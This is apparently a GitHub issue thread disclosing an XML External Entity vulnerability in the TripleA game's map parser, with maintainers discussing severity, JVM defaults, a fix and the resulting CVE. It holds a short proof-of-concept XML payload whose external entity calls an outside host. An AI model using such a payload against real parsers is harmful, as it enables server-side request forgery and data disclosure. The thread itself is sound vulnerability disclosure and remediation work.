Triplea: XXE in Game Parser

[prodigysml]

The Issue

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Where the Issue Occured

https://github.com/triplea-game/triplea/blob/43ad70c34566632266d6f8c01a7df4204b87248f/game-core/src/main/java/games/strategy/engine/data/GameParser.java#L319
The above code parses a game file.

A sample game file can be found at:
https://github.com/triplea-game/triplea/blob/master/game-core/src/test/resources/GameExample.xml

To exploit this issue, import the following XML code:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://0dd.zone">
]>
<r>&sp;</r>

[RoiEXLab]

@DanVanAtta @ssoloff @ron-murhammer This issue should be fairly easy to fix.
This is not a severe issue because we don't just arbitrarily load xmls into the game and download them via HTTPS.
The only potential security risk comes from players themselves that get tricked into installing malicious maps.

[prodigysml]

Yeah, agreed. It's not very severe at all. More a 'good to fix' issue.

On Wed, 30 May 2018, 9:47 AM RoiEX [e-mail] wrote:

@DanVanAtta https://github.com/DanVanAtta @ssoloff
https://github.com/ssoloff @ron-murhammer
https://github.com/ron-murhammer This issue should be fairly easy to
fix.
This is not a severe issue because we don't just arbitrarily load xmls
into the game and download them via HTTPS.
The only potential security risk comes from players themselves that get
tricked into installing malicious maps.

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/triplea-game/triplea/issues/3442#issuecomment-392983895,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AQNZ07K9UeGCAdfNeF9T-StDBvTvfM88ks5t3d4qgaJpZM4URj0D
.

[RoiEXLab]

Fix instructions

[RoiEXLab]

@ProDigySML Thanks for reporting this issue btw.

[RoiEXLab]

Unfortunately we don't have a P2 label ^^

[DanVanAtta]

Number of comments from me:

• big thank you for reporting this @ProDigySML

• Everything is a P2 unless otherwise marked; P3 == ice box, never going to work on them.

• My wish-list for map parsing would be to version the parsing engines and move forward with a YAML based format. The existing spec is overly complicated, and we have maps that do not scale well with the syntax, the examples are the XMLs files that are thousands if not tens of thousands of lines to fix.

• With all that said, seems like we should as good practice disable external entities from being loaded. This kind of vulnerability is the reason we insist on maps being hosted in triplea-maps organization where we can control the updates to them and not link to maps hosted in peoples own github repo's or other locations. There is a desire to allow the game to download from arbitrary locations to help support map makers, such a security fix would be more important when that comes online.

[DanVanAtta]

Downgrading priority label given this statement:

This is not a severe issue because we don't just arbitrarily load xmls into the game and download them via HTTPS.

[tvleavitt]

https://security-tracker.debian.org/tracker/CVE-2018-1000546

Having a CVE specific to your application is bad. Having one unaddressed for over six months is very bad optics. Even if it does require the user to be tricked into installing a malicious map (really, that's not terribly difficult).

[RoiEXLab]

Turns out this really is a non-issue.
The default JVM implementation already processes XMLs securely: I modified a map file to be just the provided example. Of course the parser complains because the XML is not as expected, but without changing anything, no connection to http://0dd.zone was opened.
After digging into the code, I realized that the secure flag was already set to true (even though the javadocs told me otherwise)

Only by manually setting this flag to false I could verify in Wireshark, that a connection was made. By removing the explicit setting, as expected no connection was opened.

Anyways. I opened #4516 to have this feature set without having to rely on the implementation.

[RoiEXLab]

Ok. Apparently setting the flag explicitly does change the behaviour slightly.
When the flag is explicitly set, the xml parser doesn't load external DTDs anymore, which is currently required for our maps (although we really should restrict this to the directory where this file is kept, relative paths should still be able to escape even though we probably don't want this).

Not sure what to do about this currently. I guess having protection from HTTP request is sufficient for now?

[ssoloff]

The default JVM implementation already processes XMLs securely

Sounds like this may be platform- or JVM-specific because I'm assuming the OP ran a test to verify the external entity was opened. @ProDigySML, do you happen to remember on which platform(s) and JVM implementation(s) you observed this exploit?

[tvleavitt]

My only comment would be that some process should be in place to notify the Debian package manager that the CVE has been corrected, and see if we can get the package updated, or the change back ported to the released package in their repo (not sure how that works).